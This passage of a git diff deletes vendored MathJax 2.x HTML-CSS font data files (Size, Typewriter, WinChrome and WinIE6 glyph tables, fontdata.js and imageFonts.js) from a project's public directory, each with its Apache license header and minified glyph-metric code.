-MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.MathJax_Size2={directory:"Size2/Regular",family:"MathJax_Size2",testString:"() [] {}",32:[0,0,250,0,0],40:[1150,649,597,180,561],41:[1151,649,597,35,416],47:[1150,649,811,55,755],91:[1150,649,472,224,455],92:[1150,649,811,54,754],93:[1150,649,472,16,247],123:[1150,649,667,119,547],125:[1151,649,667,119,547],160:[0,0,250,0,0],710:[772,-565,1000,-5,1004],732:[750,-611,1000,0,999],770:[772,-565,0,-1005,4],771:[750,-611,0,-1000,-1],8719:[950,450,1278,56,1221],8720:[950,450,1278,56,1221],8721:[950,450,1444,55,1388],8730:[1150,650,1000,111,1020],8747:[1360,862,556,55,944],8748:[1361,862,1084,55,1473],8749:[1361,862,1592,55,1981],8750:[1360,862,556,55,944],8896:[950,450,1111,55,1055],8897:[950,450,1111,55,1055],8898:[949,450,1111,55,1055],8899:[950,449,1111,55,1055],8968:[1150,649,528,224,511],8969:[1150,649,528,16,303],8970:[1150,649,528,224,511],8971:[1150,649,528,16,303],10216:[1150,649,611,112,524],10217:[1150,649,611,85,498],10752:[949,449,1511,56,1454],10753:[949,449,1511,56,1454],10754:[949,449,1511,56,1454],10756:[950,449,1111,55,1055],10758:[950,450,1111,55,1055]};MathJax.Callback.Queue(["initFont",MathJax.OutputJax["HTML-CSS"],"MathJax_Size2"],["loadComplete",MathJax.Ajax,MathJax.OutputJax["HTML-CSS"].fontDir+"/Size2/Regular/Main.js"]);
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Size3/Regular/Main.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Size3/Regular/Main.js
deleted file mode 100644
index 4e0158b6..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Size3/Regular/Main.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/Size3/Regular/Main.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.MathJax_Size3={directory:"Size3/Regular",family:"MathJax_Size3",testString:"() [] {}",32:[0,0,250,0,0],40:[1450,949,736,209,701],41:[1451,949,736,34,526],47:[1450,949,1044,55,989],91:[1450,949,528,247,516],92:[1450,949,1044,56,988],93:[1450,949,528,11,280],123:[1450,949,750,130,618],125:[1451,949,750,131,618],160:[0,0,250,0,0],710:[772,-564,1444,-4,1447],732:[749,-610,1444,1,1442],770:[772,-564,0,-1448,3],771:[749,-610,0,-1443,-2],8730:[1450,951,1000,111,1020],8968:[1450,949,583,246,571],8969:[1450,949,583,11,336],8970:[1450,949,583,246,571],8971:[1450,949,583,11,336],10216:[1450,950,750,126,654],10217:[1450,950,750,94,623]};MathJax.Callback.Queue(["initFont",MathJax.OutputJax["HTML-CSS"],"MathJax_Size3"],["loadComplete",MathJax.Ajax,MathJax.OutputJax["HTML-CSS"].fontDir+"/Size3/Regular/Main.js"]);
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Size4/Regular/Main.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Size4/Regular/Main.js
deleted file mode 100644
index ee90b533..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Size4/Regular/Main.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/Size4/Regular/Main.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.MathJax_Size4={directory:"Size4/Regular",family:"MathJax_Size4",testString:"() [] {}",32:[0,0,250,0,0],40:[1750,1249,792,237,758],41:[1751,1250,792,33,554],47:[1750,1249,1278,56,1221],91:[1750,1249,583,269,577],92:[1750,1249,1278,56,1221],93:[1750,1249,583,5,313],123:[1750,1249,806,144,662],125:[1751,1249,806,144,662],160:[0,0,250,0,0],710:[845,-561,1889,-14,1902],732:[823,-583,1889,1,1885],770:[845,-561,0,-1903,13],771:[823,-583,0,-1888,-4],8730:[1750,1251,1000,111,1020],8968:[1750,1249,639,269,633],8969:[1750,1249,639,5,369],8970:[1750,1249,639,269,633],8971:[1750,1249,639,5,369],9115:[1155,655,875,290,843],9116:[610,10,875,291,417],9117:[1165,644,875,291,843],9118:[1155,655,875,31,583],9119:[610,10,875,457,583],9120:[1165,645,875,31,583],9121:[1154,645,667,319,666],9122:[602,0,667,319,403],9123:[1155,644,667,319,666],9124:[1154,645,667,0,347],9125:[602,0,667,263,347],9126:[1155,644,667,0,347],9127:[899,10,889,383,719],9128:[1160,660,889,170,505],9129:[10,899,889,384,718],9130:[310,10,889,383,504],9131:[900,11,889,170,504],9132:[1160,660,889,384,718],9133:[10,899,889,170,505],9143:[935,885,1056,111,742],10216:[1750,1249,806,140,703],10217:[1751,1249,806,103,665],57344:[625,15,1056,702,742],57345:[605,15,1056,702,1076],57680:[120,213,450,-24,461],57681:[120,214,450,-11,475],57682:[333,0,450,-24,461],57683:[333,0,450,-11,475],57684:[120,0,400,-10,410]};MathJax.Callback.Queue(["initFont",MathJax.OutputJax["HTML-CSS"],"MathJax_Size4"],["loadComplete",MathJax.Ajax,MathJax.OutputJax["HTML-CSS"].fontDir+"/Size4/Regular/Main.js"]);
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Typewriter/Regular/BasicLatin.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Typewriter/Regular/BasicLatin.js
deleted file mode 100644
index 53d3dd9e..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Typewriter/Regular/BasicLatin.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/Typewriter/Regular/BasicLatin.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.MathJax_Typewriter,{32:[0,0,250,0,0],33:[622,0,525,206,320],34:[623,-333,525,122,402],35:[612,0,525,36,490],36:[695,83,525,58,467],37:[694,83,525,35,489],38:[622,11,525,28,490],39:[611,-287,525,175,349],40:[695,83,525,166,437],41:[694,82,525,87,358],42:[520,-90,525,68,456],43:[531,-81,525,38,487],44:[140,139,525,173,353],45:[341,-271,525,56,468],46:[140,-1,525,193,332],47:[694,83,525,58,466],48:[621,10,525,42,482],49:[622,0,525,98,450],50:[623,-1,525,52,473],51:[622,12,525,44,479],52:[624,-1,525,28,496],53:[611,10,525,52,472],54:[622,11,525,45,480],55:[628,10,525,43,480],56:[621,10,525,45,479],57:[622,11,525,45,479],58:[431,-1,525,193,332],59:[431,139,525,175,337],60:[557,-55,525,57,468],61:[417,-195,525,37,487],62:[557,-55,525,57,468],63:[617,0,525,62,462],64:[617,6,525,44,481],65:[624,0,525,27,497],66:[611,-1,525,16,482],67:[622,11,525,40,485],68:[612,-1,525,15,485],69:[611,-1,525,18,503],70:[611,-1,525,21,491],71:[622,11,525,38,497],72:[612,-1,525,16,508],73:[611,-1,525,71,453],74:[611,11,525,56,479],75:[612,-1,525,18,496],76:[612,1,525,25,489],77:[612,0,525,11,513],78:[612,1,525,20,504],79:[621,11,525,56,468],80:[612,-1,525,18,481],81:[621,138,525,56,468],82:[612,11,525,16,522],83:[622,12,525,51,472],84:[611,-1,525,26,499],85:[611,11,525,-4,528],86:[611,8,525,18,506],87:[612,8,525,11,513],88:[612,-1,525,27,496],89:[612,-1,525,19,505],90:[611,-1,525,47,482],91:[695,82,525,213,484],92:[694,83,525,58,466],93:[696,82,525,41,310],94:[612,-459,525,95,428],95:[-25,95,525,56,468],96:[681,-357,525,176,350],97:[439,6,525,48,525],98:[612,6,525,4,492],99:[441,6,525,66,466],100:[612,6,525,31,520],101:[440,6,525,48,464],102:[617,-1,525,34,437],103:[442,229,525,28,509],104:[612,-1,525,4,520],105:[612,-1,525,71,463],106:[612,228,525,48,377],107:[612,0,525,12,508],108:[611,-1,525,50,475],109:[437,0,525,-13,536],110:[437,-1,525,4,520],111:[440,6,525,52,472],112:[437,221,525,4,492],113:[438,222,525,34,546],114:[437,0,525,24,487],115:[440,6,525,71,458],116:[555,6,525,25,448],117:[432,5,525,4,520],118:[432,5,525,24,500],119:[432,5,525,15,509],120:[432,-1,525,28,496],121:[432,228,525,25,500],122:[431,-1,525,33,476],123:[694,84,525,49,475],124:[694,82,525,228,297],125:[695,83,525,49,476],126:[611,-466,525,87,437],127:[612,-518,525,104,421]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/Typewriter/Regular/BasicLatin.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Typewriter/Regular/CombDiacritMarks.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Typewriter/Regular/CombDiacritMarks.js
deleted file mode 100644
index 69100718..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Typewriter/Regular/CombDiacritMarks.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/Typewriter/Regular/CombDiacritMarks.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.MathJax_Typewriter,{768:[611,-485,0,-409,-195],769:[611,-485,0,-331,-117],770:[612,-459,0,-430,-97],771:[611,-466,0,-438,-88],772:[578,-500,0,-453,-74],774:[612,-503,0,-446,-78],776:[612,-518,0,-421,-104],778:[619,-499,0,-344,-182],780:[577,-449,0,-428,-99]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/Typewriter/Regular/CombDiacritMarks.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Typewriter/Regular/Main.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Typewriter/Regular/Main.js
deleted file mode 100644
index 990cdc45..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Typewriter/Regular/Main.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/Typewriter/Regular/Main.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.MathJax_Typewriter={directory:"Typewriter/Regular",family:"MathJax_Typewriter",testString:"MathJax Typewriter",Ranges:[[0,127,"BasicLatin"],[128,65535,"Other"],[768,879,"CombDiacritMarks"]]};MathJax.Callback.Queue(["initFont",MathJax.OutputJax["HTML-CSS"],"MathJax_Typewriter"],["loadComplete",MathJax.Ajax,MathJax.OutputJax["HTML-CSS"].fontDir+"/Typewriter/Regular/Main.js"]);
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Typewriter/Regular/Other.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Typewriter/Regular/Other.js
deleted file mode 100644
index 3b41cccd..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Typewriter/Regular/Other.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/Typewriter/Regular/Other.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.MathJax_Typewriter,{160:[0,0,250,0,0],305:[432,-1,525,71,463],567:[432,228,525,48,377],915:[612,1,525,25,489],916:[623,0,525,35,489],920:[621,11,525,56,468],923:[623,-1,525,29,496],926:[611,-1,525,32,492],928:[611,-1,525,16,508],931:[612,-1,525,40,485],933:[623,-1,525,38,487],934:[611,-1,525,41,483],936:[611,-1,525,36,487],937:[622,0,525,31,493],2018:[611,-287,525,175,349],2019:[681,-357,525,176,350],8242:[623,-334,525,211,313]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/Typewriter/Regular/Other.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/WinChrome/Regular/Main.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/WinChrome/Regular/Main.js
deleted file mode 100644
index df3dac13..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/WinChrome/Regular/Main.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/WinChrome/Regular/Main.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.MathJax_WinChrome={directory:"WinChrome/Regular",family:"MathJax_WinChrome",testString:"> T d "+String.fromCharCode(9126)+" "+String.fromCharCode(10752),skew:{84:0.0278,58096:0.0319},32:[0,0,250,0,0],62:[540,40,778,82,694],84:[717,69,545,34,834],100:[694,11,511,100,567],160:[0,0,250,0,0],8899:[750,250,833,55,777],9126:[1155,644,667,0,347],10752:[949,449,1511,56,1454],58096:[720,69,644,38,947],58097:[587,85,894,95,797]};MathJax.Callback.Queue(["initFont",MathJax.OutputJax["HTML-CSS"],"MathJax_WinChrome"],["loadComplete",MathJax.Ajax,MathJax.OutputJax["HTML-CSS"].fontDir+"/WinChrome/Regular/Main.js"]);
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/WinIE6/Regular/AMS.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/WinIE6/Regular/AMS.js
deleted file mode 100644
index 312f47a2..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/WinIE6/Regular/AMS.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/WinIE6/Regular/AMS.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.MathJax_WinIE6,{58048:[438,-63,500,57,417],58049:[438,-63,500,64,422],58050:[430,23,222,91,131],58051:[431,23,389,55,331],58052:[365,-132,778,55,719],58053:[753,175,778,83,694],58054:[753,175,778,82,694],58055:[708,209,778,82,693],58056:[708,209,778,82,694],58058:[694,-306,500,54,444],58059:[695,-306,500,55,444],58060:[367,23,500,54,444],58061:[366,22,500,55,445],58062:[694,195,889,0,860],58063:[694,195,889,0,860],58064:[689,0,778,55,722],58065:[689,0,778,55,722],58066:[575,20,722,84,637],58067:[575,20,722,84,637],58068:[539,41,778,83,694],58069:[576,20,722,84,638],58070:[576,20,722,84,638],58071:[539,41,778,83,694],58072:[716,132,667,56,612],58073:[471,82,667,24,643],58074:[471,82,667,23,643],58075:[601,101,778,15,762],58076:[695,111,944,49,896],58077:[367,-133,778,56,722]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/WinIE6/Regular/AMS.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/WinIE6/Regular/Bold.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/WinIE6/Regular/Bold.js
deleted file mode 100644
index ece03995..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/WinIE6/Regular/Bold.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/WinIE6/Regular/Bold.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.MathJax_WinIE6,{57920:[519,18,1150,64,1085],57921:[694,193,575,13,562],57922:[519,18,1150,65,1085],57923:[694,194,575,13,562],57924:[519,18,1150,64,1085],57925:[767,267,575,13,562],57926:[724,195,1150,64,1084],57927:[724,193,1150,64,1086],57928:[695,224,1150,65,1085],57929:[694,224,1150,64,1085],57930:[548,47,1150,64,1084],57931:[548,46,1150,47,1102],57932:[694,16,639,0,640],57933:[710,17,628,60,657],57934:[694,-1,639,64,574],57935:[686,24,958,56,901],57936:[587,86,767,97,670],57937:[588,86,767,95,670],57938:[750,250,575,63,511],57939:[820,180,958,78,989],57940:[451,8,894,65,831],57941:[452,8,1150,65,1084],57942:[715,0,722,55,676],57943:[750,249,319,129,190],57944:[750,248,575,145,430],57945:[604,17,767,64,702],57946:[604,17,767,64,702],57947:[603,16,767,64,702],57948:[604,16,767,64,702],57949:[711,211,569,64,632],57950:[391,-109,894,64,828],57951:[524,-32,894,64,829],57952:[712,210,894,64,830],57953:[505,3,894,64,829],57954:[697,199,894,96,797],57955:[697,199,894,96,797],57956:[618,117,1150,64,1085],57957:[619,116,1150,64,1085],57958:[587,85,894,96,797],57959:[587,86,894,96,797],57960:[697,199,894,96,797],57961:[697,199,894,96,797],57962:[632,132,894,64,828],57963:[632,132,894,64,828],57964:[693,-1,894,64,829],57965:[711,-1,1022,68,953],57966:[500,210,1022,68,953],57967:[711,211,1150,65,1084],57968:[720,130,894,63,829],57969:[711,24,894,65,828],57970:[719,154,894,64,828],57971:[720,130,894,32,861],57972:[750,17,447,63,382],57973:[741,223,447,56,390],57974:[724,224,447,63,383]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/WinIE6/Regular/Bold.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/WinIE6/Regular/Main.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/WinIE6/Regular/Main.js
deleted file mode 100644
index 098e4f09..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/WinIE6/Regular/Main.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/WinIE6/Regular/Main.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.MathJax_WinIE6={directory:"WinIE6/Regular",family:"MathJax_WinIE6",testString:String.fromCharCode(57927)+" "+String.fromCharCode(57943)+" "+String.fromCharCode(58063),skew:{57869:0.0833,57933:0.0958},Ranges:[[57920,57983,"Bold"],[58048,58079,"AMS"]],32:[0,0,250,0,0],160:[0,0,250,0,0],57856:[511,12,1000,54,944],57857:[694,194,500,17,483],57858:[512,11,1000,55,945],57859:[694,194,500,17,483],57860:[511,11,1000,55,945],57861:[772,272,500,17,483],57862:[720,196,1000,29,944],57863:[720,195,1000,55,970],57864:[695,220,1000,55,970],57865:[695,220,1000,29,944],57866:[525,25,1000,55,944],57867:[525,25,1000,34,966],57868:[694,22,556,0,556],57869:[715,22,531,41,566],57870:[694,0,556,55,500],57871:[683,33,833,46,786],57872:[541,41,667,84,584],57873:[541,40,667,83,582],57874:[751,250,500,56,445],57875:[800,200,833,72,853],57876:[442,11,778,56,722],57877:[442,11,1000,55,944],57878:[694,0,722,55,666],57879:[750,250,278,119,159],57880:[750,250,500,132,367],57881:[598,22,667,55,611],57882:[598,22,667,55,611],57883:[598,22,667,55,611],57884:[599,22,667,55,611],57885:[716,216,417,55,472],57886:[367,-133,778,55,722],57887:[483,-55,778,55,722],57888:[716,215,778,55,722],57889:[464,-36,778,55,722],57890:[636,138,778,83,694],57891:[636,138,778,82,694],57892:[568,68,1000,56,944],57893:[567,67,1000,55,945],57894:[540,41,778,84,695],57895:[541,40,778,82,693],57896:[636,139,778,84,695],57897:[637,138,778,83,693],57898:[583,83,778,56,722],57899:[583,83,778,56,722],57900:[668,0,778,55,723],57901:[716,0,889,59,828],57902:[500,215,889,59,828],57903:[715,215,1000,56,944],57904:[727,131,778,55,723],57905:[716,33,778,55,723],57906:[727,163,778,55,723],57907:[726,131,778,28,750],57908:[751,22,389,54,333],57909:[734,223,389,65,324],57910:[723,223,389,54,334],57984:[0,1000,944,55,888],57985:[1,1000,1056,56,999],57986:[40,1160,1000,111,1020],57987:[21,621,333,145,188],57988:[21,621,556,145,410],57989:[0,1111,472,55,610],57990:[0,1111,472,55,610],57991:[0,600,667,112,555],57992:[0,600,667,112,555],57993:[1,601,667,312,355],58000:[0,1400,1278,56,1221],58001:[0,1400,1444,55,1388],58002:[40,1760,1000,111,1020],58005:[0,2222,556,55,944],58006:[0,2222,556,55,944],58018:[40,2361,1000,111,1020],58034:[40,2961,1000,111,1020]};MathJax.Callback.Queue(["initFont",MathJax.OutputJax["HTML-CSS"],"MathJax_WinIE6"],["loadComplete",MathJax.Ajax,MathJax.OutputJax["HTML-CSS"].fontDir+"/WinIE6/Regular/Main.js"]);
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/fontdata.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/fontdata.js
deleted file mode 100644
index 7ebe3010..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/fontdata.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/fontdata.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
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s="MathJax_WinIE6";g.FONTDATA.FONTS[s]="WinIE6/Regular/Main.js";g.FONTDATA.RANGES.push({name:"arrows",low:8592,high:8601,offset:"AR"});var r={variant:"-WinIE6",8658:57866,8660:57867,8704:57868,8706:57869,8707:57870,8711:57871,8712:57872,8715:57873,8725:57874,8730:57875,8733:57876,8734:57877,8736:57878,8739:57879,8741:57880,8743:57881,8744:57882,8745:57883,8746:57884,8747:57885,8764:57886,8776:57887,8800:57888,8801:57889,8804:57890,8805:57891,8810:57892,8811:57893,8834:57894,8835:57895,8838:57896,8839:57897,8853:57898,8857:57899,8869:57900,9651:57901,9661:57902,9711:57903,9824:57904,9825:57905,9826:57906,9827:57907,9837:57908,9838:57909,9839:57910,8806:58053,8807:58054,8814:58055,8815:58056,9484:58058,9488:58059,9492:58060,9496:58061,9585:58062,9586:58063,9632:58064,9633:58065,9650:58066,9654:58068,9660:58069,9661:58070,9664:58071,9674:58072,8756:58073,8757:58074,8786:58075,9733:58076,8765:58077};var u={variant:"-WinIE6",8658:57930,8660:57931,8704:57932,8706:57933,8707:57934,8711:57935,8712:57936,8715:57937,8725:57938,8730:57939,8733:57940,8734:57941,8736:57942,8739:57943,8741:57944,8743:57945,8744:57946,8745:57947,8746:57948,8747:57949,8764:57950,8776:57951,8800:57952,8801:57953,8804:57954,8805:57955,8810:57956,8811:57957,8834:57958,8835:57959,8838:57960,8839:57961,8853:57962,8857:57963,8869:57964,9651:57965,9661:57966,9711:57967,9824:57968,9825:57969,9826:57970,9827:57971,9837:57972,9838:57973,9839:57974,8806:58053,8807:58054,8814:58055,8815:58056,9484:58058,9488:58059,9492:58060,9496:58061,9585:58062,9586:58063,9632:58064,9633:58065,9650:58066,9654:58068,9660:58069,9661:58070,9664:58071,9674:58072,8756:58073,8757:58074,8786:58075,9733:58076,8765:58077};var o={offsetAR:57856,variantAR:"-WinIE6",remap:r};var t={offsetAR:57920,variantAR:"-WinIE6",remap:u};g.Augment({FONTDATA:{VARIANT:{normal:o,bold:t,italic:o,"bold-italic":t,"-largeOp":{fonts:[s,c,d,f],remap:{8719:58000,8721:58001,8747:58005,8750:58006}},"-smallOp":{fonts:[s,d,f],remap:{8719:57984,8721:57985,8747:57989,8750:57990}},"-WinIE6":{fonts:[s]}},DELIMITERS:{8730:{HW:{0:[1,s,null,57875],1:[1.2,s,null,57986],2:[1.8,s,null,58002],3:[2.4,s,null,58018],4:[3,s,null,58034]}},124:{stretch:{ext:[57879,s]}},8739:{HW:{0:[1,s,null,57879]},stretch:{ext:[57879,s]}},9168:{HW:{1:[1,s,null,57879]},stretch:{ext:[57879,s]}},8741:{HW:{0:[1,s,null,57880]},stretch:{ext:[57880,s]}},8592:{HW:{0:[0.889,s,null,57856]},stretch:{left:[57856,s]}},8593:{HW:{0:[0.888,s,null,57857]},stretch:{top:[57991,s],ext:[57993,s]}},8594:{HW:{0:[0.889,s,null,57858]},stretch:{right:[57858,s]}},8595:{HW:{0:[0.888,s,null,57859]},stretch:{bot:[57992,s],ext:[57993,s]}},8596:{HW:{0:[1,s,null,57860]},stretch:{left:[57856,s],right:[57858,s]}},8597:{HW:{0:[1.044,s,null,57859]},stretch:{top:[57991,s],bot:[57992,s],ext:[57993,s]}}}}})}},Chrome:function(p){if(p.isPC&&!MathJax.Hub.Browser.versionAtLeast("5.0")){var o="-WinChrome";g.Augment({FONTDATA:{VARIANT:{normal:{remap:{62:[62,o]}},bold:{remap:{58097:[62,o]}},italic:{remap:{100:[100,o]}},"-tex-caligraphic":{remap:{84:[84,o]}},"-largeOp":{remap:{10752:[10752,o]}},"-smallOp":{remap:{8899:[8899,o]}},"-WinChrome":{fonts:["MathJax_WinChrome"]}},DELIMITERS:{93:{stretch:{bot:[9126,"MathJax_WinChrome"]}},8971:{stretch:{bot:[9126,"MathJax_WinChrome"]}}}}});g.FONTDATA.FONTS.MathJax_WinChrome={directory:"WinChrome/Regular",family:"MathJax_WinChrome",testString:"> T d "+String.fromCharCode(9126)+" "+String.fromCharCode(10752),skew:{84:0.0278,58096:0.0319},32:[0,0,250,0,0],62:[540,40,778,82,694],84:[717,69,545,34,834],100:[694,11,511,100,567],160:[0,0,250,0,0],8899:[750,250,833,55,777],9126:[1155,644,667,0,347],10752:[949,449,1511,56,1454],58096:[720,69,644,38,947],58097:[587,85,894,95,797]}}}})}(function(){var r=g.FONTDATA.FONTS,q=g.config.availableFonts;var p,o=[];if(g.allowWebFonts){for(p in r){if(r[p].family){if(q&&q.length&&g.Font.testFont(r[p])){r[p].available=true;g.Font.loadComplete(r[p])}else{r[p].isWebFont=true;if(g.FontFaceBug){r[p].family=p}o.push(g.Font.fontFace(p))}}}if(!g.config.preloadWebFonts){g.config.preloadWebFonts=[]}g.config.preloadWebFonts.push(f,h,d);if(o.length){g.config.styles["@font-face"]=o}}else{if(q&&q.length){for(p in r){if(r[p].family&&g.Font.testFont(r[p])){r[p].available=true;g.Font.loadComplete(r[p])}}}}})();k.loadComplete(g.fontDir+"/fontdata.js")})(MathJax.OutputJax["HTML-CSS"],MathJax.ElementJax.mml,MathJax.Ajax);
-
diff --git a/public/MathJax/jax/output/HTML-CSS/imageFonts.js b/public/MathJax/jax/output/HTML-CSS/imageFonts.js
deleted file mode 100644
index 6216e0cf..00000000
--- a/public/MathJax/jax/output/HTML-CSS/imageFonts.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/imageFonts.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
